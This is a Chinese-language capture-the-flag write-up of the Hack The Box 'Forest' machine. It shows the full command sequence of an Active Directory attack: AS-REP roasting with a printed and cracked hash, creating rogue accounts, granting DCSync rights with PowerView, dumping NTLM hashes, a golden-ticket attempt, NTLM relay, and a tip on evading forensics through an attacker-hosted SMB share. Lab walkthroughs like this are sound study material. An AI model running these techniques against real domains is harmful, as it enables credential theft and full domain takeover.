Forest-Writeup

概述 (Overview)

31382832.png

这是一个超级棒的机器,真心建议学习 Active Directory 攻击的一定要做一做该题,超级推荐~

  • MACHINE TAGS
    • Kerberoasting
    • Powershell
    • Active Directory
    • Windows

攻击链 (Kiillchain)

65158922.png

TTPs (Tactics, Techniques & Procedures)

  • nmap
  • impacket
  • Kerberos
  • go-windapsearch
  • john
  • PowerView

阶段1:枚举

阶段1.1:端口服务枚举

老规矩,依然是通过 nmap 对目标服务器进行开发端口枚举和服务识别:

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-03 07:23:51Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
...省略...

可以获悉到系统是 Windows Server 2016,存在DNS,存在 Kerberos 服务,存在 smb 共享服务,存在远程RPC服务。综合来看这个是 Active Directory 攻击的题目了。

  • Domain: htb.local
  • workgroup: HTB

阶段1.2:Kerberos用户枚举

尝试枚举 Kerberos 服务信息,通过 nmap 脚本去枚举服务存在哪些用户:

$ nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='HTB.LOCAL'" 10.10.10.161

60318693.png

可以看到默认字典只存在一个 administrator,尝试加入用户字典进行二次枚举:

$ nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='HTB.LOCAL'",userdb=/usr/share/seclists/Usernames/Names/names.txt 10.10.10.161

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users: 
| Discovered Kerberos principals
|     sebastien@HTB.LOCAL
|     forest@HTB.LOCAL
|     lucinda@HTB.LOCAL
|     mark@HTB.LOCAL
|_   andy@HTB.LOCAL

除此脚本外,还可以尝试其他的脚本:

  • smb-enum-users.nse - 借助脚本获取域用户信息
  • smb-enum-domains.nse - 借助脚本对域控制器信息进行收集

阶段1.3:LDAP服务枚举

接下来尝试下枚举 LDAP 服务,查看是否存在可利用的脆弱点:

LDAP概念和原理介绍 - https://www.cnblogs.com/wilburxu/p/9174353.html

kali下我们可以用ldapsearch这款工具,用于 ldap 服务搜索允许的匿名查询。

$ ldapsearch -h 10.10.10.161 -p 389 -x -b 'dc=htb,dc=local' > ../file/ldapsearch.txt
* -h hostname
* -p 端口
* -x 使用简单认证方式
* -b 指定要查询的根节点
* -s 搜索的范围 base, one, sub, or children, one-level, subtree, or children search. 默认是sub

验证完存在匿名查询后,就可以查询所有域用户:

$ ldapsearch -h 10.10.10.161 -p 389 -x -b 'dc=htb,dc=local' "(&(objectClass=user)(objectCategory=person))" CN | grep cn   
cn: Guest
cn: DefaultAccount
cn: Exchange Online-ApplicationAccount
...省略...
cn: Sebastien Caron
cn: Lucinda Berger
cn: Andy Hislip
cn: Mark Brandt
cn: Santi Rodriguez

查询该域用存在的所有计算机:

# ldapsearch -h 10.10.10.161 -p 389 -x -b 'dc=htb,dc=local' "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn
cn: FOREST
cn: EXCH01

查询该域中的所有组:

# ldapsearch -h 10.10.10.161 -p 389 -x -b 'dc=htb,dc=local' "(&(objectCategory=group))" CN | grep cn
cn: Users
cn: Guests
...省略...

这里我们需要了解下域服务中的一些组信息,这样能方便筛选重要的目标用户:

内建组:
Account Operators(账户操作员):该组的成员能操作用户管理员所属域的账号和组,并可设置其权限。但是该组成员无法修改Administrators及Operators组及权限。
Administrators(管理员):该组的成员可以完全不受限制地存取计算机/域的资源,是最具权力的一个组。通常,Administrators账户与Domain Admins组都是它的成员。
Backup Operators:该组的成员可使用Windows备份工具来进行备份/还原工作。
Guests:该组的成员只能享有管理员授与的权限以及存取指定权限的资源。通常,Guest账户与Domain Guest都是该组的成员。
Printer Operators:该组的成员可以管理网络打印机,包括建立、管理以及删除网络打印机。
Replicator:该组的成员支持域中的文件复写,可启动目录复制程序进行目录复制。
Server Operators:该组的成员可以管理域服务器,包括:建立/管理/删除任何服务器的共享目录、管理网络打印机、备份任何服务器的文件、格式化服务器硬盘、锁定服务器以及变更服务器的系统时间等权限。
Users:该组的成员只可以执行得到授权的应用程序,而且不可执行大部分的继承应用程序。

通用组:
Domain Admins:该组可以代表具有操作域权力的用户,通常,Domain Admins会属于Administrators组,因此该组的成员可以在域中执行管理工作。Windows2000 Server不会将任何我们所建立的账户放到Domain Admins 组中,而内建的Administrator账户是其唯一的成员。因此,如果您希望某一用户成为域系统管理器,则我们建议您将该用户加至Domain Admins组中,而不要直接加至Administrators组中。
Domain Guests:所有域来宾,Windows2000会自动将Guest用户账户加至该组,并将该组加至内建域Guests组中。
Domain Users:所有域的成员,在预设的情况下,任何我们所建立的用户账户都会是Domain Users组的成员,而任何所建立的计算机账户都会是Domain Computers组成员。因此如果我们想要让所有的账户都具有某种资源存取权限,则可以将该权限指定给Domain Users组或让Domain Users组属于具有该权限的组。Domain Users组在预设的情况下上内建域局域Users组的成员。

在寻找工具时,发现一个 windapsearch.py 但是太老还依赖python,就用了款较新的:go-windapsearch( https://github.com/ropnop/go-windapsearch

获取用户信息:
65028847.png
获取计算机信息:
65149197.png

搜索允许无约束委派的 LDAP 对象:

84027760.png

好了,前置信息收集完了后面应该怎么办呢?我去翻了下 PWK 2.0 的PDF、《内网攻防渗透测试指南》,它们都是讲怎么在Win下进行信息收集和攻击的,难道我为了以后的做题还得去装个Win虚拟机吗?用冬瓜强的话来讲:Windows?Dog都不用.. 哈哈哈哈开个玩笑

85135567.png

阶段2:工具和利用

阶段2.1:寻找脆弱用户

首先尝试通过密码重置时间去寻找存活账号,并尝试密码字典爆破。

运行自定义 LDAP 语法过滤器: # ./windapsearch-linux-amd64 -d 10.10.10.161 -m custom --filter "(objectClass=*)" --attrs pwdLastSet -j | jq | grep -B 2 pwdLastSet

900234.png

Ps: 这里出现的 yt 用户,应该是通一时间做题的其他人创建的。

随后对过滤好的用户名进行登录密码爆破,可惜都失败了。

2957230.png

在这停顿了几个小时,怀疑是获取的信息不够全,尝试获取所有信息然后再进行筛选:

./windapsearch-linux-amd64 -d 10.10.10.161 -m custom --filter "(objectClass=*)" | grep -a 'dn: CN=' | awk -F ',' '{print $1}' | awk -F '=' '{print $2}' | sort| uniq

4766734.png

正则过滤上面无效信息 grep -E '^[a-z].*',得到有效用户:

krbtgt
svc-alfresco

阶段2.2:Kerbero asting 攻击

使用 impacket-GetUserSPNs 匿名查询下域内帐户的 SPN(可参考 https://hackergu.com/kerberos-sec-spn-search/ ) 标识:

6465614.png

失败了,改为使用 GetNPUsers 来查询域控中不需要Kerberos预认证的用户:

5656284.png

OK,发现了 svc-alfresco 用户的TGT票据。

[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:97f0f5f14c71e7f17e85a85b5af62d8e$404e75c0ad6c7022719661b5c6ec532c40205b838b7e835a8d1c41a358f85ce826e43544b4e1cc8358777d1063b6cb600c95f898396e3da490b7553c0066bc42365680830c375d9a9360948a467f93f6e5c3582ea5aeddb333461166ef6a79a6623bd5da4ad74893dc7eef199732b5bd8c1924037f41a29b4e77bb25287a409f26dc5b7ae9c16048c775c46b0d3b7a772ce75876e49493b2913b70215425fc72b94aea2f88dd5156dc644673ecb8ae9f18a2d3121ff3a77d850951f3da16f47d6498dc5aebd068088209c9a200551e4738ad7b08fc75859e4924a10b960abedb638140a46ec7

尝试用 john 对 TGT 进行解密,看能否还原明文密码。

7298033.png

成功得到明文:$krb5asrep$23$svc-alfresco@HTB.LOCAL:s3rvice,通过 crackmapexec 验证密码是有效的。

7436729.png

使用 WinRM 获取与用户shell:

WinRM是WindowsRemoteManagementd(win远程管理)的简称,默认端口5985,5986,kali默认没有安装需要自己安装一下 gem install evil-winrm

7877268.png
76845229.png

cmd > whoami
htb\svc-alfresco

成功得到 user flag。

阶段3:权限提升

阶段3.1 使用Bloodhound分析攻击路径

传递 ./winPEASany.exe 去分析了下,发现就一个 Looking for common SAM & SYSTEM backups 可以关注下,但尝试 copy 时发现没有权限,所以还是得研究攻击域。

进行域攻击的话,不得不提起一款非常牛逼的图形画分析工具 bloodhound,它在kali里默认也是没有安装的,需要手动安装下:apt install bloodhound

安装参考:https://rootsecdev.medium.com/bloodhound-part-1-a-walkthrough-in-lateral-movements-and-paths-to-domain-admin-870dd05abde6

BloodHound 是一款将 Active Directory 环境可视化为图形的工具。然后,通过提供图形串联的关系来解开新的攻击路径。

安装完成后我们来启动它:

51174800.png
首次启动的话我们需要通过浏览器进入数据页面,新建一个数据库后才能够通过工具进行连接。
51442872.png

51522636.png

上述操作完成后说明 bloodhound 的服务端已经启动完成了,接下来传递客户端至目标服务器上进行 Active Directory 信息收集:

也可以在kali里搜索:

52138393.png

如果不存在服务器shell但想获取域详情,则需要用到: bloodhound-python,安装:pip install bloodhound

我这里传递信息收集脚本,执行后将生成的压缩包传递回kali:

53117038.png

在kali中将压缩包直接拖拽到工具中即可,待数据全部导入后就可以进一步分析:

53895528.png

首选查看下 svc-alfresco 用户关联数据:

54080042.png

点击 Reachable High Value Targets (可达到的高价值目标),帮助获取攻击链:

73644652.png

73749346.png

Active Directory 安全组:https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups

根据查询阅读文档,Account Operators 组的成员可以创建和修改用户并将其添加到不受保护的组中。

ACCOUNT OPERATORS@HTB.LOCAL : 成员可以管理域用户和组帐户
EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL : 其成员有权读取和修改所有 Windows 帐户和组。

图中的关联标注:

关于图标的解释:绿色用户头像=用户、三个黄色头像=用户在、红色小电脑=计算机、绿色小地球=域

这里又了解到一个新的名词:**ACE滥用**,以及出现的场景
ForceChangePassword(强制更改密码):能够在不知道当前密码的情况下更改目标用户的密码。滥用方法:Set-DomainUserPassword。
AddMembers(添加成员):将任意用户,组或计算机添加到目标组。滥用方法:Add-DomainGroupMember。
GenericAll:所有对象控制,包括将其他主体添加到组,在不知道当前密码的情况下更改用户密码,使用用户对象注册SPN等。滥用方法:Set-DomainUserPassword或Add-DomainGroupMember。
GenericWrite:更新任何未受保护的目标对象的参数值。例如,更新目标用户对象上的“scriptPath”参数值,可以使该用户在下次登录时运行指定的可执行文件或命令。滥用方法:Set-DomainObject。
WriteOwner:更新目标对象所有者。一旦对象所有者已被更改为攻击者控制的主体,那么攻击者就可以用任何他们认为合适的方式来操纵对象。滥用方法:Set-DomainObjectOwner。
WriteDACL:将新的ACE写入目标对象的DACL。例如,攻击者可能会向目标对象的DACL写入新的ACE,使攻击者“完全控制”目标对象。滥用方法:Add-NewADObjectAccessControlEntry。
AllExtendedRights:执行与对象的扩展Active Directory权限相关联的任何操作。例如,将主体添加到组并强制更改目标用户的密码都是扩展权限的使用示例。滥用方法:Set-DomainUserPassword或Add-DomainGroupMember。

所以这里的逻辑是,用户 svc-alfrescoAccount Operators 组的成员,svc-alfresco 用户对 EXCHANGE WINDOWS PERMISSIONS 组有完全控制(GenericAll)权限,svc-alfresco 用户可以修改域 HTB.LOCAL 的访问控制列表。

阶段3.2 使用PowerView赋予DCSync权限

所以按照域链需要将用户添加到该组并授予他 DCSync 权限,尝试将账号添加到域 Account Operators 成员中:
84203035.png
因为 EXCHANGE WINDOWS PERMISSIONS 是本地的组,非域,所以这里将其添加至本地组中:
84335173.png

在对图中链接线右键,会看到 Help 选项,点击后会显示利用方式:

56964404.png
查看 Abuse info标签:
56978574.png

根据标签内的提示信息,尝试上传 /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 至目标服务器,进行用户的 DcSync 权限提升。

PS C:\Users\svc-alfresco\Downloads> net user 0x584a Password123! /add /domain
The command completed successfully.
PS C:\Users\svc-alfresco\Downloads> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Users\svc-alfresco\Downloads> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\0x584a', $SecPassword)

2377684.png

前面都挺顺利的,当进行最后一条命令执行时出现了错误。运行的时候提示没有 Add-DomainObjectAcl 方法,然后就去下载了最新的版本:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1

但加载完 PowerView 运行 Add-DomainObjectAcl -Credential $Cred -TargetIdentity htb.local\0x584a -Rights DCSync,还是存在问题。命令行卡住了,什么也不显示。

https://burmat.gitbook.io/security/hacking/domain-exploitation 找到新的参数:Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity 0x584a -Rights DCSync

81373192.png

复盘时发现 ippsec 用的dev分支:git clone https://github.com/PowerShellMafia/PowerSploit.git -b dev,原来的 Add-DomainObjectAcl 方法改为了 Add-ObjectAcl 方法。

将用户加入本地的 Remote Management Users 组中,后续就可以通过RPC进行登录了。

81806242.png

82003326.png

此时我尝试性的使用了下 mimikatzd,但并没有什么用。

82563045.png

继续 DCSync 攻击,DCSync 权限具有 Admin rgiths,因此可以使用 secretsdump 工具从用户中提取所有 NTLM:

83013584.png

OK,成功导出用户的NTLM,通过哈希传递成功登录 administrator 会话:

83226096.png

关于金票

金票https://attack.stealthbits.com/how-golden-ticket-attack-works

$ impacket-ticketer -nthash 819af826bb148e603acb0f33d17632f8 -domain-sid S-1-5-21-3072663084-364016917-1341370565 -domain htb.local test001     
$ export KRB5CCNAME=/home/kali/hackthebox/Forest/file/test001.ccache 
$ impacket-psexec htb.local/test001@10.10.10.161 -k -no-pass 
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

可是一直出现时间问题,目标服务器的时间与kali的时间存在差异,我调了好久都没调对… 放弃了,不折腾了… 有方面实际的朋友告诉我下,让我学习学习…

复盘

内网攻击术语:AS-REP Roasting, 属于kerberos协议的攻击,获取用户hash然后离线暴力破解。攻击方式利用比较局限,因为其需要用户账号设置 “Do not require Kerberos preauthentication(不使用Kerberos预认证) “

AS-REP RoastingKerberoasting黄金票据 的区别:

简单的方式来解释一下:
- AS-REP Roasting:获取用户hash然后离线暴力破解
- Kerberoasting:获取应用服务hash然后暴力破解
- 黄金票据:通过假冒域中不存在的用户来访问应用服务

利用 rpcclient 匿名访问查询用户、用户所属组信息等,也可以直接用 enum4linux

# 匿名访问
rpcclient -U "" -N 10.10.10.161
# 获取所有用户
rpcclient $> enumdomusers
# 获取权限列表
rpcclient $> enumprivs
# 获取域信息
rpcclient $> enumdomains
# 获取域的组信息
rpcclient $> enumdomgroups
# 枚举 AD 林中的所有受信任域
rpcclient $> dsenumdomtrusts

GetNPUsers 在运行匿名访问的时候不需要输入用户名,也可以拿到凭证:$ impacket-GetNPUsers -dc-ip 10.10.10.161 -request "htb.local/"

impacket-smbserver 除了可以用来临时开 smbserver 进行copy的操作,还能通过 powershell 来挂载它,这样做我们的脚本将不会在目标服务落地,也是防溯源的一个技巧:

不带身份认证启动后直接直接挂载:
PS> New-PSDrive -Name "<ShareName>" -PSProvider "FileSystem" -Root "\\<attackerIP>\<ShareName>

**带身份认证的挂载:
$ impacket-smbserver <shareName> $(pwd) -smb2support -username <user> -password <password>
PS> $pass = ConvertTo-SecureString '<password>' -AsPlainText -Force
PS> $cred = New-Object System.Management.Automation.PSCredential('<user>', $pass)
PS> New-PSDrive -Name "<ShareName>" -PSProvider "FileSystem" -Root "\\<attackerIP>\<ShareName> -Credential $cred

还发现一款 LDAP 图形化工具 JXplorer:

45144749.png

45560642.png

# PowerView 完成新建用户、组添加
PS C:\Users\svc-alfresco\Documents> Import-Module ./PowerView.ps1
PS C:\Users\svc-alfresco\Documents> New-LocalUser "yakuhito" -Password $(ConvertTo-SecureString 'yakuhito' -AsPlainText -Force)
PS C:\Users\svc-alfresco\Documents> $Group = Get-ADGroup -Identity "CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=htb,DC=local"
PS C:\Users\svc-alfresco\Documents> Add-ADGroupMember -Identity $Group -Members yakuhito
PS C:\Users\svc-alfresco\Documents> $Group2 = Get-ADGroup -Identity "CN=Remote Management Users,CN=Builtin,DC=htb,DC=local"
PS C:\Users\svc-alfresco\Documents> Add-ADGroupMember -Identity $Group2 -Members yakuhito

NTLM中继攻击:

以域控制器上的 LDAP 为目标,以中继模式启动 ntlmrelayx,并提供受攻击者控制的用户以提升权限.
tools: https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py

$ python ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user svc-alfresco

浏览器打开链接: http://<you_ip>/privexchange/ 使用此凭据(您的 HTB IP)连接。

[*] Servers started, waiting for connections
[*] Success! User svc-alfresco now has Replication-Get-Changes-All privileges on the domain 
[*] Try using DCSync with secretsdump.py and this user :)

基本上等待一分钟后(这是为推送通知提供的时间),ntlmrelayx 处的连接进入,这时候用户就有了 DCSync 权限。

参考